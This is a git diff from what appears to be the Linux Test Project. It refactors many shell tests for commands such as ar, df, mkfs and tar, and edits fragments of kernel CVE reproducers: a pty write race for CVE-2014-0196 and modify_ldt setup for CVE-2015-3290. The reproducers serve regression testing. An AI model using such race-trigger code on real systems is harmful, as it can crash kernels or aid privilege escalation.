"$AR appended file correctly (-q)" else - tst_res TFAIL "ar failed to append file (-q)" + tst_res TFAIL "$AR failed to append file (-q)" cat ar.out fi @@ -259,28 +257,28 @@ test13() test14() { ROD touch file0.in - ROD ar -cr"$MOD" lib.a file0.in $TST_DATAROOT/file1.in + ROD $AR -cr"$MOD" lib.a file0.in $TST_DATAROOT/file1.in - file0_mtime1=$(ar -tv lib.a | grep file0.in) - file1_mtime1=$(ar -tv lib.a | grep file1.in) + file0_mtime1=$($AR -tv lib.a | grep file0.in) + file1_mtime1=$($AR -tv lib.a | grep file1.in) touch -c -t $(date --date='next day' +"%Y%m%d%H%M") file0.in - ROD ar -ru"$MOD" lib.a file0.in $TST_DATAROOT/file1.in + ROD $AR -ru"$MOD" lib.a file0.in $TST_DATAROOT/file1.in - file0_mtime2=$(ar -tv lib.a | grep file0.in) - file1_mtime2=$(ar -tv lib.a | grep file1.in) + file0_mtime2=$($AR -tv lib.a | grep file0.in) + file1_mtime2=$($AR -tv lib.a | grep file1.in) if [ "$file0_mtime1" = "$file0_mtime2" ]; then - tst_res TFAIL "ar haven't updated modified file0 (-u)" + tst_res TFAIL "$AR haven't updated modified file0 (-u)" else - tst_res TPASS "ar updated modified file0 (-u)" + tst_res TPASS "$AR updated modified file0 (-u)" fi if [ "$file1_mtime1" = "$file1_mtime2" ]; then - tst_res TPASS "ar haven't updated unmodified file1 (-u)" + tst_res TPASS "$AR haven't updated unmodified file1 (-u)" else - tst_res TFAIL "ar updated unmodified file1 (-u)" + tst_res TFAIL "$AR updated unmodified file1 (-u)" fi ROD rm lib.a file0.in @@ -288,13 +286,13 @@ test14() test15() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in - ROD ar -tv lib.a \> ar.out + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in + ROD $AR -tv lib.a \> ar.out if grep -q '[rwx-]\{9\} [0-9].*/[0-9].*\s*[0-9].*.*file1.in' ar.out; then - tst_res TPASS "ar verbose listing works (-tv)" + tst_res TPASS "$AR verbose listing works (-tv)" else - tst_res TFAIL "ar verbose listing failed (-tv)" + tst_res TFAIL "$AR verbose listing failed (-tv)" cat ar.out fi @@ -303,23 +301,23 @@ test15() test16() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \ + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \ $TST_DATAROOT/file3.in - ROD ar -xv"$MOD" lib.a \> ar.out + ROD $AR -xv"$MOD" lib.a \> ar.out printf "x - file1.in\nx - file2.in\nx - file3.in\n" > ar.exp if diff ar.out ar.exp > /dev/null; then - tst_res TPASS "ar printed extracted filenames (-xv)" + tst_res TPASS "$AR printed extracted filenames (-xv)" else - tst_res TFAIL "ar failed to print extracted filenames (-xv)" + tst_res TFAIL "$AR failed to print extracted filenames (-xv)" cat ar.out fi if [ -e file1.in -a -e file2.in -a -e file3.in ]; then - tst_res TPASS "ar extracted files correctly" + tst_res TPASS "$AR extracted files correctly" else - tst_res TFAIL "ar failed to extract files" + tst_res TFAIL "$AR failed to extract files" fi ROD rm -f lib.a file1.in file2.in file3.in @@ -327,25 +325,26 @@ test16() test17() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in - ROD ar -xv"$MOD" lib.a file2.in \> ar.out + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in + ROD $AR -xv"$MOD" lib.a file2.in \> ar.out printf "x - file2.in\n" > ar.exp if diff ar.out ar.exp > /dev/null; then - tst_res TPASS "ar printed extracted filename (-xv)" + tst_res TPASS "$AR printed extracted filename (-xv)" else - tst_res TFAIL "ar failed to print extracted filename (-xv)" + tst_res TFAIL "$AR failed to print extracted filename (-xv)" cat ar.out fi if [ -e file2.in ]; then - tst_res TPASS "ar extracted file correctly" + tst_res TPASS "$AR extracted file correctly" else - tst_res TFAIL "ar failed to extract file" + tst_res TFAIL "$AR failed to extract file" fi ROD rm -f lib.a file2.in } +. tst_test.sh tst_run diff --git a/testcases/commands/cp/cp_tests.sh b/testcases/commands/cp/cp_tests.sh index 9a6590e9..7ca457f5 100755 --- a/testcases/commands/cp/cp_tests.sh +++ b/testcases/commands/cp/cp_tests.sh @@ -10,7 +10,6 @@ TST_CNT=5 TST_TESTFUNC=do_test TST_SETUP=setup TST_NEEDS_TMPDIR=1 -. tst_test.sh create_tree() { @@ -91,4 +90,5 @@ do_test() esac } +. tst_test.sh tst_run diff --git a/testcases/commands/cpio/cpio_tests.sh b/testcases/commands/cpio/cpio_tests.sh index a98b7eca..458c2137 100755 --- a/testcases/commands/cpio/cpio_tests.sh +++ b/testcases/commands/cpio/cpio_tests.sh @@ -8,8 +8,6 @@ TST_TESTFUNC=cpio_test TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="cpio" TST_SETUP="setup" -. tst_test.sh - setup() { @@ -47,4 +45,5 @@ cpio_test() fi } +. tst_test.sh tst_run diff --git a/testcases/commands/df/df01.sh b/testcases/commands/df/df01.sh index b821452e..5af4f68e 100755 --- a/testcases/commands/df/df01.sh +++ b/testcases/commands/df/df01.sh @@ -1,45 +1,21 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2015 Fujitsu Ltd. +# Copyright (c) 2018-2023 Petr Vorel # Author: Zhang Jin # # Test df command with some basic options. +TST_ALL_FILESYSTEMS=1 +TST_MOUNT_DEVICE=1 TST_CNT=12 TST_SETUP=setup -TST_CLEANUP=tst_umount TST_TESTFUNC=test -TST_OPTS="f:" -TST_USAGE=usage -TST_PARSE_ARGS=parse_args TST_NEEDS_ROOT=1 -TST_NEEDS_DEVICE=1 -. tst_test.sh - -usage() -{ - cat << EOF -usage: $0 [-f ] - -OPTIONS --f Specify the type of filesystem to be built. If not - specified, the default filesystem type (currently ext2) - is used. -EOF -} - -TST_FS_TYPE=ext2 - -parse_args() -{ - TST_FS_TYPE="$2" -} setup() { - tst_mkfs - tst_mount - DF_FS_TYPE=$(mount | grep "$TST_DEVICE" | awk 'NR==1{print $5}') + DF_FS_TYPE="$(grep -E "$TST_MNTPOINT ($TST_FS_TYPE|fuseblk)" /proc/mounts | awk 'NR==1{print $3}')" } df_test() @@ -57,7 +33,7 @@ df_test() return fi - ROD_SILENT dd if=/dev/zero of=mntpoint/testimg bs=1024 count=1024 + ROD_SILENT dd if=/dev/zero of=$TST_MNTPOINT/testimg bs=1024 count=1024 df_verify $cmd @@ -68,7 +44,12 @@ df_test() tst_res TFAIL "'$cmd' failed." fi - ROD_SILENT rm -rf mntpoint/testimg + ROD_SILENT rm -rf $TST_MNTPOINT/testimg + + # force all the background garbage collection to run to completion + if [ "$TST_FS_TYPE" = "xfs" ]; then + tst_fsfreeze $TST_MNTPOINT + fi # flush file system buffers, then we can get the actual sizes. sync @@ -93,20 +74,25 @@ df_verify() df_check() { if [ "$(echo $@)" = "df -i -P" ]; then - local total=$(stat -f mntpoint --printf=%c) - local free=$(stat -f mntpoint --printf=%d) + local total=$(stat -f $TST_MNTPOINT --printf=%c) + local free=$(stat -f $TST_MNTPOINT --printf=%d) local used=$((total-free)) else - local total=$(stat -f mntpoint --printf=%b) - local free=$(stat -f mntpoint --printf=%f) + local total=$(stat -f $TST_MNTPOINT --printf=%b) + local free=$(stat -f $TST_MNTPOINT --printf=%f) local used=$((total-free)) - local bsize=$(stat -f mntpoint --printf=%s) + local bsize=$(stat -f $TST_MNTPOINT --printf=%s) total=$((($total * $bsize + 512)/ 1024)) used=$((($used * $bsize + 512) / 1024)) fi - grep ${TST_DEVICE} output | grep -q "${total}.*${used}" + grep $TST_DEVICE output | grep -q "${total}.*${used}" if [ $? -ne 0 ]; then + echo "total: ${total}, used: ${used}" + echo "df saved output:" + cat output + echo "df output:" + $@ return 1 fi } @@ -133,7 +119,7 @@ test4() test5() { - df_test "df -t ${DF_FS_TYPE}" + df_test "df -t $DF_FS_TYPE" } test6() @@ -143,7 +129,7 @@ test6() test7() { - df_test "df -v ${TST_DEVICE}" + df_test "df -v $TST_DEVICE" } test8() @@ -180,14 +166,16 @@ test11() test12() { - local cmd="df -x ${DF_FS_TYPE} -P" + local fs="$DF_FS_TYPE" + + local cmd="df -x $fs -P" df_verify $cmd if [ $? -ne 0 ]; then return fi - grep ${TST_DEVICE} output | grep -q mntpoint + grep $TST_DEVICE output | grep -q $TST_MNTPOINT if [ $? -ne 0 ]; then tst_res TPASS "'$cmd' passed." else @@ -195,4 +183,5 @@ test12() fi } +. tst_test.sh tst_run diff --git a/testcases/commands/du/du01.sh b/testcases/commands/du/du01.sh index 1f0df959..7977fd46 100755 --- a/testcases/commands/du/du01.sh +++ b/testcases/commands/du/du01.sh @@ -10,12 +10,11 @@ TST_SETUP=setup TST_TESTFUNC=do_test TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="dd du stat" -. tst_test.sh setup() { ROD_SILENT mkdir basedir - ROD_SILENT cd basedir + cd basedir || tst_brk TBROK "cd basedir failed" ROD_SILENT dd if=/dev/zero of=testfile bs=1M count=10 @@ -28,6 +27,9 @@ setup() # BLOCKSIZE environment variables. Here we need to # set DU_BLOCK_SIZE to 1024 to ensure the result is expected. export DU_BLOCK_SIZE=1024 + + # Some subtests are language dependent + export LC_ALL=C } du_test() @@ -108,4 +110,5 @@ do_test() esac } +. tst_test.sh tst_run diff --git a/testcases/commands/eject/eject-tests.sh b/testcases/commands/eject/eject-tests.sh index 299b9fa0..76a667aa 100755 --- a/testcases/commands/eject/eject-tests.sh +++ b/testcases/commands/eject/eject-tests.sh @@ -13,7 +13,6 @@ TST_TESTFUNC=test TST_NEEDS_TMPDIR=1 TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="eject" -. tst_test.sh setup() { @@ -100,7 +99,7 @@ test3() if grep -q "$CD_DRIVE" /proc/mounts; then tst_res TFAIL "$CD_DRIVE is stil moutned" else - tst_res TPASS "$CD_DRIVE umounted succesfully" + tst_res TPASS "$CD_DRIVE umounted successfully" fi } @@ -144,4 +143,5 @@ test4() fi } +. tst_test.sh tst_run diff --git a/testcases/commands/file/file01.sh b/testcases/commands/file/file01.sh index ff1e0817..f0c129f3 100755 --- a/testcases/commands/file/file01.sh +++ b/testcases/commands/file/file01.sh @@ -2,19 +2,18 @@ # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) International Business Machines Corp., 2001 # Copyright (c) 2016 Cyril Hrubis +# Copyright (c) Linux Test Project, 2017-2023 # # This program tests the file command. The tests are aimed at # testing if the file command can recognize some of the commonly # used file formats like, tar, tar.gz, rpm, C, ASCII, ELF etc. -TST_CNT=20 +TST_CNT=18 TST_SETUP=setup TST_TESTFUNC=do_test TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="readelf" -. tst_test.sh - setup() { case $(readelf -h /bin/sh) in @@ -63,31 +62,30 @@ do_test() "POSIX shell script text executable" \ "POSIX shell script text" \ "Bourne shell script text executable";; - 4) file_test in.ksh "Korn shell script";; - 5) file_test in.csh "C shell script";; - 6) file_test in.c "ASCII C program text" "C source, ASCII text";; - 7) file_test in.pl "[pP]erl script, ASCII text executable" \ + 4) file_test in.c "ASCII C program text" "C source, ASCII text";; + 5) file_test in.pl "[pP]erl script, ASCII text executable" \ "[pP]erl script text executable" \ "a /usr/bin/perl script text";; - 8) file_test in.py "[pP]ython3\{0,1\} script, ASCII text executable" \ + 6) file_test in.py "[pP]ython3\{0,1\} script, ASCII text executable" \ "[pP]ython3\{0,1\} script text executable";; - 9) file_test in.m4 "M4 macro processor script, ASCII text" \ + 7) file_test in.m4 "M4 macro processor script, ASCII text" \ "ASCII M4 macro language pre-processor text";; - 10) file_test in "ELF .*-bit $TEST_ARCH executable, .*" \ + 8) file_test in "ELF .*-bit $TEST_ARCH executable, .*" \ "ELF .*-bit $TEST_ARCH shared object, .*" \ "ELF .*-bit $TEST_ARCH pie executable, .*" \ "ELF .*-bit $TEST_ARCH pie shared object, .*";; - 11) file_test in.ar "current ar archive";; - 12) file_test in.tar "tar archive";; - 13) file_test in.tar.gz "gzip compressed data, .*";; - 14) file_test in.tar.bz2 "bzip2 compressed data, .*";; - 15) file_test in.src.rpm "RPM v3 src" "RPM v3.0 src";; - 16) file_test in.jpg "JPEG image data";; - 17) file_test in.png "PNG image data";; - 18) file_test in.wav "RIFF (little-endian) data, WAVE audio, Microsoft PCM";; - 19) file_test in.mp3 "MPEG ADTS, layer III";; - 20) file_test in.zip "Zip archive data";; + 9) file_test in.ar "current ar archive";; + 10) file_test in.tar "tar archive";; + 11) file_test in.tar.gz "gzip compressed data, .*";; + 12) file_test in.tar.bz2 "bzip2 compressed data, .*";; + 13) file_test in.src.rpm "RPM v3 src" "RPM v3.0 src";; + 14) file_test in.jpg "JPEG image data";; + 15) file_test in.png "PNG image data";; + 16) file_test in.wav "RIFF (little-endian) data, WAVE audio, Microsoft PCM";; + 17) file_test in.mp3 "MPEG ADTS, layer III";; + 18) file_test in.zip "Zip archive data";; esac } +. tst_test.sh tst_run diff --git a/testcases/commands/gdb/gdb01.sh b/testcases/commands/gdb/gdb01.sh index 04259c51..24acb98f 100755 --- a/testcases/commands/gdb/gdb01.sh +++ b/testcases/commands/gdb/gdb01.sh @@ -8,8 +8,6 @@ TST_TESTFUNC=simple_test TST_NEEDS_CMDS="gdb /bin/cat" -. tst_test.sh - simple_test() { gdb /bin/cat -ex "run /etc/passwd" -ex quit < /dev/null @@ -21,4 +19,5 @@ simple_test() fi } +. tst_test.sh tst_run diff --git a/testcases/commands/gzip/gzip_tests.sh b/testcases/commands/gzip/gzip_tests.sh index f4e33664..fdc933ea 100755 --- a/testcases/commands/gzip/gzip_tests.sh +++ b/testcases/commands/gzip/gzip_tests.sh @@ -14,7 +14,6 @@ TST_CNT=2 TST_TESTFUNC=test TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="gzip gunzip" -. tst_test.sh creat_dirnfiles() { @@ -149,4 +148,5 @@ test2() ROD_SILENT rm -rf tst_gzip.tmp/ } +. tst_test.sh tst_run diff --git a/testcases/commands/insmod/insmod01.sh b/testcases/commands/insmod/insmod01.sh index e7c3d6fa..992b4a05 100755 --- a/testcases/commands/insmod/insmod01.sh +++ b/testcases/commands/insmod/insmod01.sh @@ -1,6 +1,7 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2016 Fujitsu Ltd. +# Copyright (c) Linux Test Project, 2016-2023 # Author: Guangwen Feng # # Test basic functionality of insmod command. @@ -10,7 +11,8 @@ TST_TESTFUNC=do_test TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="rmmod insmod" TST_NEEDS_MODULE="ltp_insmod01.ko" -. tst_test.sh +TST_SKIP_IN_LOCKDOWN=1 +TST_SKIP_IN_SECUREBOOT=1 inserted=0 @@ -46,4 +48,5 @@ do_test() tst_res TPASS "insmod passed" } +. tst_test.sh tst_run diff --git a/testcases/commands/keyctl/keyctl01.sh b/testcases/commands/keyctl/keyctl01.sh index 0858b686..7b357a71 100755 --- a/testcases/commands/keyctl/keyctl01.sh +++ b/testcases/commands/keyctl/keyctl01.sh @@ -18,7 +18,6 @@ TST_TESTFUNC=do_test TST_NEEDS_ROOT=1 TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="keyctl" -. tst_test.sh check_keyctl() { @@ -109,4 +108,5 @@ do_test() tst_res TPASS "Bug not reproduced" } +. tst_test.sh tst_run diff --git a/testcases/commands/ld/ld01.sh b/testcases/commands/ld/ld01.sh index 0a598ec3..c8ba4fc1 100755 --- a/testcases/commands/ld/ld01.sh +++ b/testcases/commands/ld/ld01.sh @@ -14,7 +14,6 @@ TST_TESTFUNC=test TST_SETUP=setup TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="$CC $LD" -. tst_test.sh setup() { @@ -78,4 +77,5 @@ test5() fi } +. tst_test.sh tst_run diff --git a/testcases/commands/ldd/ldd01.sh b/testcases/commands/ldd/ldd01.sh index 8d7965a5..1f5a7574 100755 --- a/testcases/commands/ldd/ldd01.sh +++ b/testcases/commands/ldd/ldd01.sh @@ -8,7 +8,6 @@ TST_CNT=2 TST_SETUP=setup TST_TESTFUNC=test -. tst_test.sh LDD=${LDD:=ldd} @@ -39,4 +38,5 @@ test2() fi } +. tst_test.sh tst_run diff --git a/testcases/commands/ln/ln_tests.sh b/testcases/commands/ln/ln_tests.sh index ecf7bf5b..5bcf827c 100755 --- a/testcases/commands/ln/ln_tests.sh +++ b/testcases/commands/ln/ln_tests.sh @@ -10,7 +10,6 @@ TST_CNT=6 TST_TESTFUNC=do_test TST_SETUP=setup TST_NEEDS_TMPDIR=1 -. tst_test.sh setup() { @@ -78,4 +77,5 @@ do_test() esac } +. tst_test.sh tst_run diff --git a/testcases/commands/lsmod/lsmod01.sh b/testcases/commands/lsmod/lsmod01.sh index 38182a65..8b7a0a79 100755 --- a/testcases/commands/lsmod/lsmod01.sh +++ b/testcases/commands/lsmod/lsmod01.sh @@ -11,7 +11,6 @@ TST_SETUP=setup TST_TESTFUNC=lsmod_test TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="lsmod" -. tst_test.sh module_inserted= @@ -82,4 +81,5 @@ lsmod_test() tst_res TFAIL "'lsmod' doesn't match /proc/modules output" } +. tst_test.sh tst_run diff --git a/testcases/commands/mkdir/mkdir_tests.sh b/testcases/commands/mkdir/mkdir_tests.sh index 0e88a830..c0a570e5 100755 --- a/testcases/commands/mkdir/mkdir_tests.sh +++ b/testcases/commands/mkdir/mkdir_tests.sh @@ -9,7 +9,6 @@ TST_CNT=3 TST_SETUP=setup TST_TESTFUNC=test TST_NEEDS_TMPDIR=1 -. tst_test.sh setup() { @@ -50,4 +49,5 @@ test3() ROD rm -rf "$LONG_PATH" } +. tst_test.sh tst_run diff --git a/testcases/commands/mkfs/mkfs01.sh b/testcases/commands/mkfs/mkfs01.sh index 17c7fb9e..263aa47a 100755 --- a/testcases/commands/mkfs/mkfs01.sh +++ b/testcases/commands/mkfs/mkfs01.sh @@ -14,7 +14,6 @@ TST_PARSE_ARGS=parse_args TST_NEEDS_ROOT=1 TST_NEEDS_DEVICE=1 TST_NEEDS_CMDS="blkid df" -. tst_test.sh usage() { @@ -36,16 +35,14 @@ parse_args() setup() { if [ -n "$TST_FS_TYPE" ]; then - tst_require_cmds mkfs.${TST_FS_TYPE} + tst_require_cmds mkfs.$TST_FS_TYPE fi - - ROD_SILENT mkdir -p mntpoint } mkfs_verify_type() { if [ -z "$1" ]; then - blkid $2 -t TYPE="ext2" >/dev/null + blkid $2 -t TYPE="$TST_FS_TYPE" >/dev/null else if [ "$1" = "msdos" ]; then blkid $2 -t TYPE="vfat" >/dev/null @@ -58,7 +55,7 @@ mkfs_verify_type() mkfs_verify_size() { tst_mount - local blocknum=`df -P -B 1k mntpoint | tail -n1 | awk '{print $2}'` + local blocknum=`df -P -B 1k $TST_MNTPOINT | tail -n1 | awk '{print $2}'` tst_umount if [ $blocknum -gt "$2" ]; then @@ -102,7 +99,7 @@ mkfs_test() local mkfs_cmd="mkfs $mkfs_op $fs_op $device $size" - echo ${fs_op} | grep -q "\-c" + echo $fs_op | grep -q "\-c" if [ $? -eq 0 ] && [ "$fs_type" = "ntfs" ]; then tst_res TCONF "'$mkfs_cmd' not supported." return @@ -115,7 +112,7 @@ mkfs_test() fi fi - ${mkfs_cmd} >temp 2>&1 + $mkfs_cmd >temp 2>&1 if [ $? -ne 0 ]; then grep -q -E "unknown option | invalid option" temp if [ $? -eq 0 ]; then @@ -174,4 +171,5 @@ test5() mkfs_test "-h" } +. tst_test.sh tst_run diff --git a/testcases/commands/mkswap/mkswap01.sh b/testcases/commands/mkswap/mkswap01.sh index f6494f6e..e03c46c3 100755 --- a/testcases/commands/mkswap/mkswap01.sh +++ b/testcases/commands/mkswap/mkswap01.sh @@ -11,7 +11,6 @@ TST_TESTFUNC=do_test TST_NEEDS_ROOT=1 TST_NEEDS_DEVICE=1 TST_NEEDS_CMDS="uuidgen blkid blockdev mkswap" -. tst_test.sh setup() { @@ -52,12 +51,7 @@ mkswap_verify() local pagesize=$PAGE_SIZE fi - if tst_kvcmp -lt "2.6.35" && [ -n "$dev_file" ]; then - tst_res TINFO "Waiting for $dev_file to appear" - tst_sleep 100ms - else - TST_RETRY_FUNC "check_for_file $dev_file" 0 - fi + TST_RETRY_FUNC "check_for_file $dev_file" 0 swapon $swapfile 2>/dev/null @@ -129,6 +123,7 @@ mkswap_test() fi udevadm trigger --name-match=$TST_DEVICE + udevadm settle --exit-if-exists==$TST_DEVICE if [ -n "$device" ]; then mkswap_verify "$mkswap_op" "$op_arg" "$device" "$size" "$dev_file" @@ -157,4 +152,5 @@ do_test() esac } +. tst_test.sh tst_run diff --git a/testcases/commands/mv/mv_tests.sh b/testcases/commands/mv/mv_tests.sh index 253b273a..91648dd8 100755 --- a/testcases/commands/mv/mv_tests.sh +++ b/testcases/commands/mv/mv_tests.sh @@ -13,7 +13,6 @@ TST_CNT=2 TST_SETUP=setup TST_TESTFUNC=test TST_NEEDS_TMPDIR=1 -. tst_test.sh setup() { @@ -149,4 +148,5 @@ test2() fi } +. tst_test.sh tst_run diff --git a/testcases/commands/nm/nm01.sh b/testcases/commands/nm/nm01.sh index 873126d2..c795d47f 100755 --- a/testcases/commands/nm/nm01.sh +++ b/testcases/commands/nm/nm01.sh @@ -13,7 +13,6 @@ TST_TESTFUNC=test TST_SETUP=setup TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="$NM" -. tst_test.sh setup() { @@ -121,4 +120,5 @@ test7() fi } +. tst_test.sh tst_run diff --git a/testcases/commands/shell/shell_pipe01.sh b/testcases/commands/shell/shell_pipe01.sh index 3c8ef49f..f384aa8a 100755 --- a/testcases/commands/shell/shell_pipe01.sh +++ b/testcases/commands/shell/shell_pipe01.sh @@ -4,8 +4,6 @@ TST_TESTFUNC=do_test -. tst_test.sh - do_test() { tst_res TINFO "expecting SUCCESS string passed from stdin" @@ -14,4 +12,5 @@ do_test() EXPECT_PASS [ "$line" = "SUCCESS" ] } +. tst_test.sh tst_run diff --git a/testcases/commands/sysctl/sysctl01.sh b/testcases/commands/sysctl/sysctl01.sh index d885cb1a..d58688e0 100755 --- a/testcases/commands/sysctl/sysctl01.sh +++ b/testcases/commands/sysctl/sysctl01.sh @@ -13,8 +13,6 @@ TST_TESTFUNC=sysctl_test TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="sysctl" -. tst_test.sh - sysctl_test() { # With commit d00535d, sched_time_avg was renamed as sched_time_avg_ms @@ -38,4 +36,5 @@ sysctl_test() fi } +. tst_test.sh tst_run diff --git a/testcases/commands/sysctl/sysctl02.sh b/testcases/commands/sysctl/sysctl02.sh index 367cd574..806dd1fd 100755 --- a/testcases/commands/sysctl/sysctl02.sh +++ b/testcases/commands/sysctl/sysctl02.sh @@ -21,11 +21,10 @@ TST_CNT=4 TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="sysctl" TST_NEEDS_KCONFIGS="CONFIG_SYSCTL=y, CONFIG_PROC_FS=y" + sys_name="fs.file-max" sys_file="/proc/sys/fs/file-max" -. tst_test.sh - setup() { orig_value=$(cat "$sys_file") @@ -77,4 +76,5 @@ cleanup() [ -n "$orig_value" ] && sysctl -w -q $sys_name=$orig_value } +. tst_test.sh tst_run diff --git a/testcases/commands/tar/tar_tests.sh b/testcases/commands/tar/tar_tests.sh index f90ff216..60520188 100755 --- a/testcases/commands/tar/tar_tests.sh +++ b/testcases/commands/tar/tar_tests.sh @@ -11,8 +11,6 @@ TST_TESTFUNC=do_test TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="gzip bzip2" -. tst_test.sh - TAR_FILES="file1 file2 file3" check_listing() @@ -133,4 +131,5 @@ do_test() esac } +. tst_test.sh tst_run diff --git a/testcases/commands/unshare/unshare01.sh b/testcases/commands/unshare/unshare01.sh index bf163a7f..5c67d0ee 100755 --- a/testcases/commands/unshare/unshare01.sh +++ b/testcases/commands/unshare/unshare01.sh @@ -33,7 +33,6 @@ TST_TESTFUNC=do_test TST_NEEDS_ROOT=1 TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="unshare id mount umount" -. tst_test.sh max_userns_path="/proc/sys/user/max_user_namespaces" max_mntns_path="/proc/sys/user/max_mnt_namespaces" @@ -157,4 +156,5 @@ do_test() esac } +. tst_test.sh tst_run diff --git a/testcases/commands/unzip/unzip01.sh b/testcases/commands/unzip/unzip01.sh index c3bb7573..2408942a 100755 --- a/testcases/commands/unzip/unzip01.sh +++ b/testcases/commands/unzip/unzip01.sh @@ -10,7 +10,6 @@ TST_SETUP=setup TST_TESTFUNC=do_test TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="unzip" -. tst_test.sh EXTRACT_MATCH="extracting" @@ -83,4 +82,5 @@ do_test() ROD rm -rf "dir/" } +. tst_test.sh tst_run diff --git a/testcases/commands/vmcp/vmcp_m.sh b/testcases/commands/vmcp/vmcp_m.sh index 5dc7bf0d..3924a6e1 100755 --- a/testcases/commands/vmcp/vmcp_m.sh +++ b/testcases/commands/vmcp/vmcp_m.sh @@ -14,7 +14,6 @@ TST_CNT=2 TST_TESTFUNC=vmcp_main TST_NEEDS_CMDS="vmcp" -. tst_test.sh vmcp_run() { @@ -45,5 +44,5 @@ vmcp_main2() vmcp_run 1 "vmcp dasddasddasd" } - +. tst_test.sh tst_run diff --git a/testcases/commands/wc/wc01.sh b/testcases/commands/wc/wc01.sh index ee12e2b7..b37cb47c 100755 --- a/testcases/commands/wc/wc01.sh +++ b/testcases/commands/wc/wc01.sh @@ -10,7 +10,6 @@ TST_SETUP=setup TST_TESTFUNC=do_test TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="wc" -. tst_test.sh setup() { @@ -67,4 +66,5 @@ do_test() esac } +. tst_test.sh tst_run diff --git a/testcases/commands/which/which01.sh b/testcases/commands/which/which01.sh index dd6659ea..6b1dfad3 100755 --- a/testcases/commands/which/which01.sh +++ b/testcases/commands/which/which01.sh @@ -10,7 +10,6 @@ TST_SETUP=setup TST_TESTFUNC=do_test TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="which" -. tst_test.sh setup() { @@ -104,4 +103,5 @@ do_test() esac } +. tst_test.sh tst_run diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore index eb0a8b37..3a2b2bed 100755 --- a/testcases/cve/.gitignore +++ b/testcases/cve/.gitignore @@ -10,4 +10,6 @@ stack_clash cve-2017-17052 cve-2017-16939 cve-2017-17053 +cve-2022-4378 icmp_rate_limit01 +tcindex01 diff --git a/testcases/cve/cve-2014-0196.c b/testcases/cve/cve-2014-0196.c index 012cbb7c..9d20a398 100755 --- a/testcases/cve/cve-2014-0196.c +++ b/testcases/cve/cve-2014-0196.c @@ -70,9 +70,9 @@ static void *overwrite_thread_fn(void *p LTP_ATTRIBUTE_UNUSED) { while(tst_fzsync_run_b(&fzsync_pair)) { tst_fzsync_start_race_b(&fzsync_pair); - SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1); - SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1); - SAFE_WRITE(0, slave_fd, buf, BUFLEN); + SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN - 1); + SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN - 1); + SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN); tst_fzsync_end_race_b(&fzsync_pair); } return 0; @@ -95,7 +95,7 @@ static void run(void) SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]); SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]); - SAFE_WRITE(0, slave_fd, buf, 1); + SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, 1); tcgetattr(master_fd, &t); t.c_oflag &= ~OPOST; @@ -103,7 +103,7 @@ static void run(void) tcsetattr(master_fd, TCSANOW, &t); tst_fzsync_start_race_a(&fzsync_pair); - SAFE_WRITE(0, master_fd, "A", 1); + SAFE_WRITE(SAFE_WRITE_ANY, master_fd, "A", 1); tst_fzsync_end_race_a(&fzsync_pair); for (j = 0; j < RUN_ALLOCS; j++) { @@ -141,6 +141,7 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = run, + .max_runtime = 60, .tags = (const struct tst_tag[]) { {"linux-git", "4291086b1f08"}, {"CVE", "2014-0196"}, diff --git a/testcases/cve/cve-2015-3290.c b/testcases/cve/cve-2015-3290.c index 6c4fd57a..a2a8fced 100755 --- a/testcases/cve/cve-2015-3290.c +++ b/testcases/cve/cve-2015-3290.c @@ -1,6 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2017 Pavel Boldin + * Copyright (c) 2018-2022 Linux Test Project */ /* @@ -117,7 +118,7 @@ perhaps unsurprisingly.) #include "tst_test.h" #include "tst_timer.h" -#if HAVE_PERF_EVENT_ATTR && (defined(__x86_64__) || defined(__i386__)) +#if defined(__x86_64__) || defined(__i386__) #include #include @@ -194,7 +195,8 @@ static void set_ldt(void) .useable = 0 }; - TEST(tst_syscall(__NR_modify_ldt, 1, &data_desc, sizeof(data_desc))); + TEST((int)tst_syscall(__NR_modify_ldt, 1, &data_desc, + sizeof(data_desc))); if (TST_RET == -EINVAL) { tst_brk(TCONF | TRERRNO, "modify_ldt: 16-bit data segments are probably disabled"); @@ -394,10 +396,6 @@ static void *child_thread(void *arg LTP_ATTRIBUTE_UNUSED) return (void *)niter; } -#define TIMEOUT (180) -#define TIME_TO_GIVEUP (TIMEOUT - 5) -#define TIMER_TYPE CLOCK_MONOTONIC - 